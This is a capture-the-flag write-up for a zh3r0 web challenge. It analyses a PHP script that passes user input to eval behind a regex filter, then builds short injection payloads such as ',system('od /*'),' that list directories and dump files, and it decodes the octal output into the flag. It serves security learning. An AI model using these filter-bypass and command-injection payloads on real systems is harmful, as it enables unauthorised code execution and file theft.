Tags: python3 od 

Rating: 5.0

Input

Calling http://web.zh3r0.cf:2222/, we are received with the following php code:

<?php
ini_set('display_errors',0);
include("flag.php");
if(!isset($_GET['user'])) highlight_file(__FILE__);
else{
      $a=$_GET['user'];    
      if(strlen($a)>24 || gettype($a)!=="string" ){
  die("oh nâu!!");
}
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
  $a=md5($a);
}
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
  $a=md5($a);
}

eval("echo 'Hello ".$a."<br>$flag';");


 }

We can see in the beginning that if the query parameter user is not set, it displays its own file (this is why we were received with it).
When the user is provided some code is executed and at the end the page shows 'Hello ".$a."<br>$flag', trying any input, $flag shows us a picture of a donkey laughing at us.

Understanding the input locally

Input adapted for local usage

Let's first remove the include (we don't know what is in it anyway), replace $flag by Here is the flag: ???. We will write that in a index.php file.
We will be able to launch this script using php -S 127.0.0.1:8000 ./index.php,
With minor re-indent, the script looks like:

<?php
ini_set('display_errors',0);
if(!isset($_GET['user'])) highlight_file(__FILE__);

else
{
      $a=$_GET['user'];    
      if(strlen($a)>24 || gettype($a)!=="string" ){die("oh nâu!!");}

      if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
        $a=md5($a);
      }

      if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
        $a=md5($a);
      }

      eval("echo 'Hello ".$a."<br>Here is the flag: ???';");
}

Making sense of the script

The script follows 3 "if" statement.
If we enter the first one, the script dies.
If we enter the second one, our input is updated by its own md5 hash.
If we enter the third one, our input is updated by its own md5 hash.

After all that, our input (potentially under md5 format) is sent through eval, without being sanitized or anything. This is a security flaw we will try to exploit (not that there is anything else here anyway).
To exploit it, we need to skip all the if to avoid our command being a md5. Our input will look like ',...,', that way we escape the string and execute our code.

First if condition

The condition is: strlen($a)>24 || gettype($a)!=="string", which can be also written as: !(strlen($a)<=24 && gettype($a)==="string")
It means the content of the query parameter must be a string and have maximum 24 characters.

Second if condition

preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a

It means the content of the query parameter must NOT contain any of the following character:

;^~&|[]$.`"+->?nc

It must also not finish by \.

Without n and c, we can forget "print" and "exec" commands. Following advice from stackoverflow and use the system command.
Our input will look like ',system(...),'

Third if condition

This one is the worst.

(strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))

Let's go at it step by step. First we should indent it a little bit.

(
        strpos(substr($a,4,strlen($a)),"(")>1
        || strpos(substr($a,6,strlen($a)),")")>1
) && (
        preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))
        || preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))
)

Ready? Go!

Third if condition, the first part

Let's start with what is before the &&.

strpos(substr($a,4,strlen($a)),"(")>1 => We check whether there is a ( after the 4th character of our input
strpos(substr($a,6,strlen($a)),")")>1 => We check whether there is a ) after the 6th character of our input
This is very likely to happen if we want to execute commands. We should consider these conditions are always valid. Just writing ',system(...),' has a parenthesis after the 4th character.

Third if condition, the second part

We are left with:

(
        preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))
        || preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))
)

We tried to understand it manually at first, but we did a small mistake.
To complete our understanding, let's strip the condition in our index.php:

eval("echo '<br>Hello ".strpos(substr($a,4,strlen($a)),"("));
eval("echo '<br>Hello ".substr($a,2+strpos(substr($a,4,strlen($a)),"("),2));

If our input is flagazerty(ABCDEFGHJK) => we understand that we take the 2 characters preceding the FIRST ( that is after the 4th position. With our input ty. Those characters MUST NOT be alphanumeric characters, nor _.
Remember that we want to use ',system(...),', it contains a parenthesis after the 4th position. This condition will take the 2 preceding characters em, and because at least one of them is alphanumeric, our input will be hashed :(
Let's update our input to have another ( that will be the one being checked, and write garbage before it. ,,,,(',system(...),'.

Let's finish with handling the second part of the OR condition, it focuses on the ) character.

eval("echo '<br>Hello ".strpos(substr($a,4,strlen($a)),"("));
eval("echo '<br>Hello ".substr($a,2+strpos(substr($a,4,strlen($a)),"("),2));
eval("echo '<br>Hello ".substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1));

If our input is flag(AAAABCDEFGHJK), it checks that the 11th character after ( (H in our input) is not alphanumeric or _.
If our input is flag(AAAABCDEF) (i.e. less than 11 characters after (), it checks that the character preceding the next ) (F in our input) is not alphanumeric or _.
Let's update our input to have another ) to take care of that: ,,,,()',system(...),'.

Finding the flag

With ,,,,()',system(),' we have already 18 characters.
Let's do ,,,,()',system('ls'),' (22 characters). => Reminder to launch the call: http://web.zh3r0.cf:2222/?user=,,,,()',system('ls'),'

It outputs: Hello ,,,,()flag.php index.php robots.txt robots.txt
It would be great to be able to read the content of flag.php. After a LOT of time we found that we can use od to do an octal dump (pr doesn't work, because it will remove the php code) => ,,,,()',system('od *'),' (24 characters, the MAX). We'll skip this part, the content of flag.php is just:

$flag = link towards the image of the donkey laughing at us

With ,,,,()',system('ls /'),', we find a file FLAAA444AAGGG999GGG (or something close to that). However ,,,,()',system('od /*'),' is 25 characters. What a shame!
We then had an idea. The character preceding ) is ', it is not alphanumeric so it still bypass the WAF. After a bit of rework we found ,,',(system('od /*')),' => 23 characters long and still bypass the WAF!

http://web.zh3r0.cf:2222/?user=,,,,',(system('od /F*')),' returns the octal of the file we are interested in.

0000000 066146 063541 062547 062547 070056 070150 005015 066146 
0000020 063541 074170 027170 074164 006564 063012 060554 063147 
0000040 065541 032545 005015 066146 063541 060546 062553 006464 
0000060 063012 060554 063147 065541 031545 005015 066146 063541 
0000100 060546 062553 006462 063012 060554 063147 065541 030545 
0000120 005015 064172 071063 075460 032127 066522 070125 032137 
0000140 043137 067165 030537 031463 031463 031463 031463 033463 
0000160 006575 063012 060554 063147 065541 033145 

We can skip the first column, which is just an offset in octal. The data is all the other values. This od format is actually painful to handle 066146 is not the same as the octal numbers 066 and 146 (that can be used with an ascii table).
It is 0*8^5 + 6*8^4 + 6*8^3 + 1*8^2 + 4*8^1 + 6*8^0, not 0*8^2 + 6*8^1 + 6*8^0 + 1*8^2 + 4*8^1 + 6*8^0.

We decided to use python to write it in hexadecimal. We could have gone with an array of each octal number, use a foreach to print(hex()) each of them, but well... it's a CTF, and we're good with sublime text capabilities so it was way faster for us. Below the format is: print(hex(OCTAL_NUMBER)) # hexadecimal result printed by python => hexadecimal, padded with 0 => Endianness fixed/reversed

print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o062547)) # 0x6567 => 6567 => 6765
print(hex(0o062547)) # 0x6567 => 6567 => 6765
print(hex(0o070056)) # 0x702e => 702e => 2e70
print(hex(0o070150)) # 0x7068 => 7068 => 6870
print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0a
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o074170)) # 0x7878 => 7878 => 7878
print(hex(0o027170)) # 0x2e78 => 2e78 => 782e
print(hex(0o074164)) # 0x7874 => 7874 => 7478
print(hex(0o006564)) # 0xd74  => 0d74 => 740d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o032545)) # 0x3565 => 3565 => 6535
print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0a
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o060546)) # 0x6166 => 6166 => 6661
print(hex(0o062553)) # 0x656b => 656b => 6b65
print(hex(0o006464)) # 0xd34  => 0d34 => 340d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o031545)) # 0x3365 => 3365 => 6533
print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0a
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o060546)) # 0x6166 => 6166 => 6661
print(hex(0o062553)) # 0x656b => 656b => 6b65
print(hex(0o006462)) # 0xd32  => 0d32 => 320d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o030545)) # 0x3165 => 3165 => 6531
print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0a
print(hex(0o064172)) # 0x687a => 687a => 7a68
print(hex(0o071063)) # 0x7233 => 7233 => 3372
print(hex(0o075460)) # 0x7b30 => 7b30 => 307b
print(hex(0o032127)) # 0x3457 => 3457 => 5734
print(hex(0o066522)) # 0x6d52 => 6d52 => 526d
print(hex(0o070125)) # 0x7055 => 7055 => 5570
print(hex(0o032137)) # 0x345f => 345f => 5f34
print(hex(0o043137)) # 0x465f => 465f => 5f46
print(hex(0o067165)) # 0x6e75 => 6e75 => 756e
print(hex(0o030537)) # 0x315f => 315f => 5f31
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o033463)) # 0x3733 => 3733 => 3337
print(hex(0o006575)) # 0xd7d  => 0d7d => 7d0d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o033145)) # 0x3665 => 3665 => 6536

We now feed that in cyber chef.
Input:

666c 6167 6765 6765 2e70 6870 0d0a 666c 6167 7878 782e 7478 740d 0a66 6c61 6766 616b 6535 0d0a 666c 6167 6661 6b65 340d 0a66 6c61 6766 616b 6533 0d0a 666c 6167 6661 6b65 320d 0a66 6c61 6766 616b 6531 0d0a 7a68 3372 307b 5734 526d 5570 5f34 5f46 756e 5f31 3333 3333 3333 3333 3337 7d0d 0a66 6c61 6766 616b 6536

Operation: From Hex

Output:

flaggege.php
flagxxx.txt
flagfake5
flagfake4
flagfake3
flagfake2
flagfake1
zh3r0{W4RmUp_4_Fun_13333333337}
flagfake6

We finally have a flag. We hate od, nothing to add.

p.s. It was found in https://ctftime.org/writeup/28631 that spaces can also be used to bypass the WAF, and save even more characters: ',system ('head /*' ),', without feeling the pain of od.